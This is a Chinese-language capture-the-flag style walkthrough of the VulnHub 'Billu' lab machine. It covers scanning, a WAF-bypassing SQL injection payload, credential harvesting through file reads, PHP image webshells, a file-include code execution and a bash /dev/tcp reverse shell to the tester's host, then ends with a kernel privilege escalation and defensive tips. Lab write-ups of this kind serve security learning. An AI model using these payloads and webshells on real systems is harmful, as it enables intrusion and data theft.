VulnHub Billu"/>
VulnHub Billu
0x01 信息收集
一、探测靶机ip
首先把靶机打开:
不知道密码啊怎么登?哦,这是靶机,就是让我们进行渗透的,登上基本就GG了。
步入正题,首先先查看一下kali的ip,ip add
:
先简单总结一下nmap的常用命令,相关介绍和具体使用自行百度:
参数 | 功能 |
---|---|
kali与靶机都用的net模式,使用的均是VMnet8网卡,也就是处于同一C段。接着使用kali下的nmap对同一C段存活主机进行扫描,nmap -sP 192.168.292.1/24
:
二、端口扫描
其中192.168.202.1是网关,192.168.202.130是本机,192.168.202.2和192.168.202.254是个谜,所以靶机应该是192.168.202.129。接下来对靶机进行全扫描,nmap -Pn -A 192.168.202.129
:
开放了22/ssh和80/http两个端口,22端口暂时先不管它,看看后面能不能找到用户名和密码,先用80端口访问一下:
一个平平无奇的登录界面,根据提示应该是存在SQL注入(该说不说,UI做的还蛮酷),具体利用后面再说。
0x02 漏洞探测
接下来使用kali的dirb对靶机进行目录扫描,dirb "http://192.168.202.129"
:
再用本机上的dirmap扫一遍,防止漏掉关键信息:
接下来我们依次访问这些目录,其中/add存在文件上传和提交框,可能存在文件上传漏洞和存储型xss:
/c、/show一片空白,/head是80端口的UI图,/in是phpinfo():
phpinfo()能查看到许多有用的信息,比如网站根目录路径:
/index、/panel是80端口界面,/test可以post一个file参数,应该是绝对路径,可能存在文件包含漏洞:
/phpmy是一个phpmyadmin的登录界面,可能存在弱口令及其对应版本的CMS漏洞:
先做一下简要的分析,在漏洞利用模块中会对相关漏洞的发现与分析再做进一步的补充。
0x03 漏洞利用
一、SQL注入
回到之前的80端口,先简单手工测试一下,admin #
,'
,"
。
输啥都是try again,应该是时间盲注,话不多说,把post请求包保存为1.txt,看看sqlmap能不能一把梭,sqlmap -r /root/Desktop/1.txt
:
失败了,说是存在waf,让我们试试tamper和–random-agent,tamper了解过但不是太熟,而且也不知道waf的过滤规则是什么,所以直接尝试下–random-agent能不能行得通,sqlmap -r /root/Desktop/1.txt --current-db --random-agent
:
好家伙,sqlmap是跟它杠上了,本来不打算用tamper的,sqlmap直接提示让我们试试–tamper=space2comment,试试就试试,sqlmap -r /root/Desktop/1.txt --current-db --random-agent --tamper=space2comment
:
还是不行,看来sqlmap是没戏了,我们利用/test中的文件包含获取index.php的源码进行审计:
发现waf规则将'
替换为空以及查询语句,调试代码及运行结果如下:
无法使用'
进行闭合,自然而然想到使用\
进行转义,于是构造payloadunmae=or 1 #&pass=\
,成功绕过waf登录:
ok,就先到这里,稍后再对该界面进行分析与利用。
二、文件上传与XSS
进入/add,尝试上传图马和一句话:
这是一个空壳子,只实现了前端上传功能,后端根本没有接收和处理。
三、文件上传与文件包含
再尝试对文件包含漏洞进行利用前,先查看一下/in的phpinfo(),在phpinfo()中应该能找到关键配置文件的绝对路径,以及一些相关的配置信息:
首先得知了一些配置文件的绝对路径。
allow_url_fopen=On(允许打开URL文件,默认启用),allow_url_include=Off(禁止引用URL文件,默认关闭)。
这是文件包含中最重要的两个设置,决定了我们能否利用以及利用的程度。
open_basedir的值没有设置,也就是没有对用户可操作的文件范围做限制。但是allow_url_include=Off,所以说我们无法使用php://input和data://进行写shell操作。
综上,远程包含已无可能,那么本地包含能怎么利用呢?首先是可以查看一些敏感文件,比如/etc/passwd,其次我们还可以尝试日志包含和session包含。
首先来说session包含,一种办法是利用session.upload_progress特性,但这是php5.3,而session.upload_progress是php5.4的新特征,何况它需要借助文件上传功能才能实现,所以该方法pass。还有一种方法,就是借助phpmyadmin,因为phpmyadmin登录时,可能会将用户名存储在session中。我们查看一下session的存放地址:
常见的php-session存放位置还有这几个:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
得知了session的存放路径,我们就可以尝试一下在登录phpmyadmin的时候在用户名处输入一句话木马,然后进行连接。
接着我们再分析一下日志包含,phpinfo()好像查不到日志路径,但是日志有一些默认路径,也是可以碰碰运气的。
apache+Linux日志默认路径:
/etc/httpd/logs/access_log
/var/log/httpd/access_log
apache+win2003日志默认路径:
D:\xampp\apache\logs\access.log
D:\xampp\apache\logs\error.log
IIS6.0+win2003默认日志文件:
C:\WINDOWS\system32\Logfiles
IIS7.0+win2003默认日志文件:
%SystemDrive%\inetpub\logs\LogFiles
nginx 日志文件:
日志文件在用户安装目录logs目录下,以我的安装路径为例:/usr/local/nginx,那我的日志目录就是在:/usr/local/nginx/logs里
分析完毕,接下来我们一个一个的尝试利用,首先尝试查看/etc/passwd:
发现两个用户,root和ica,但是不知道密码,弱口令尝试无果。
再查看一下之前空白的c.php,存在即合理:
是mysql的连接文件,用户名:billu,密码:b0x_billu,数据库名:ica_lab。
成功登录phpmyadmin,首先查看mysql和phpmyadmin的版本:
查询secure_file_priv的值,show variables like "%secure%"
:
secure_file_priv为空,尝试写入shell:
Access denied for user ‘billu’@‘localhost’ (using password: YES),查看一下该用户权限,show grants for billu@localhost
:
应该是该用户没有file权限,所以无法进行文件读写,详见MySQL权限分类:
查看一下数据库,在ica_lab的auth表中找到了80端口的用户名:biLLu和密码:hEx_it,这个我们后面再做登录。
接下来尝试session包含:
正常来说应该是这样的:
<?phpsession_start();$username=$_GET['username'];$_SESSION["username"]=$ctfs;
?>
但是这里没有对username做存储,因此无法进行session包含。
审计index.php源码证明确实如此,这里存储的logged代表登录状态:
最后我们试一下日志包含,查询general_log和general_log_file,show global variables like "%general%";
:
这里不再具体演示,毕竟我们前面已经成功登录phpmyadmin拿到了80端口的用户名和密码。
这里再补充一点,phpmyadmin的默认的配置文件是config.inc.php,通过前面的信息猜测路径为/var/www/phpmy/config.inc.php,尝试对其进行包含:
GG,直接拿到了用户名和密码,而且还是root权限:
其实已经不用玩了,不过我们还是把能走的路尽可能的都走一遍吧。
用之前在phpmyadmin翻到的用户名和密码进行登录(或是SQL注入):
跟之前/add的那个空壳子一模一样,但这个应该是有具体实现的,尝试上传一句话:
既然存在文件包含,图马也是可以利用的,尝试上传图马:
但是不知道上传路径,应该是扫描的时候没爆出来,尝试/image失败,尝试/images成功:
但这里是UI图片,审计panel.php得知上传目录为/uploaded_images,而且还做了白名单校验,这也是一句话上传失败的原因:
感觉既然源码都拿到了,应该是有办法进行绕过的。不过已经成功上传了图马,还是直接利用图马吧。
进入/uploaded_images,成功找到上传的图马guogouma.jpg:
但当我尝试对其进行连接时,发现自己疏忽了一点,/test的file是post型参数,填写url时无法传参。当我查看test.php的源码时,我又发现自己疏忽了亿点,此处其实不是文件包含,而是文件下载:
思路应该没错,但是不能直接使用一键连接。还有一点需要注意的是,/test应该是用来混淆实视线的,它本质上并不是文件包含。既然设置了假的文件包含,那想必是为了隐藏真的文件包含。爆出的目录中还没有查看过/panel的源码,下面我们查看一下panel.php:
果然不出所料,/panel才是真正的文件包含。通过审计panel.php不难发现,else中的include可以被我们利用。虽然图马上传后不能直接连接,但仍可以利用其执行系统命令。
但是这里我们需要重新上传一张图马,因为原先上传的图马为<?php @eval($_POST['a']); ?>
,是post型参数,而文件包换也是post型参数,两者同时传参的话无法完成先对图马进行包含,再传入系统命令的正确逻辑,从而导致命令无法执行。那么如何才能让其产生先后之分呢?利用cookie > post > get的优先级关系,使用<?php system($_GET['cmd']); ?>
的get型参数就可以完美解决该问题:
利用/panel进行文件包含continue=1&load=uploaded_images/cmd.jpg
,成功执行系统命令?cmd=ls
:
接下来尝试使用echo "bash -i >& /dev/tcp/192.168.202.130/6666 0>&1" | bash
反弹shell,首先进行url编码:
然后跟上面一样,包含并传入命令:
forward后成功接受反弹shell并查看用户权限:
为了便于管理,我们进入一个有写权限的目录如/uploaded_mages下:cd uploaded_images
,写入一句话木马:echo '<?php @eval($_POST['a'] ) ?> >> i0clay.php'
,并使用工具连接:
0x04 本地提权
查看系统内核版本,uname -r
:
查看系统发行版,cat /etc/os-release
:
Copy Ubuntu著名的本地提权漏洞exp,:
在本地保存为exploit.c并上传至靶机的/var/www/uploaded_images目录下:
赋予执行权限后编译执行,成功提至root权限:
0x05 Summary
总的来说,该靶机有以下路线可走:
1.SQL注入+文件上传+本地包含+提权
2.包含phpmyadmin的配置文件config.inc.php直接通关
3.包含c.php获取phpmyadmin密码,登录phpmyadmin获取web密码,然后同上进行文件上传+本地包含+提权。
靶机上phpmyadmin的版本很低,应该是存在版本漏洞的,也可以尝试对其进行挖掘和利用。
该靶机的漏洞基本都围绕与文件包含,关于文件包含可以从一下方面防御:
- 白名单:限制包含文件
- 黑名单:过滤…/等危险字符
- 设置文件目录:使用 open_basedir 限制文件操作目录
- 关闭危险配置:合理配置 allow_url_include
- 避免动态包含:硬编码如 include(‘head.php’),避免参数可控
更多推荐
VulnHub Billu
发布评论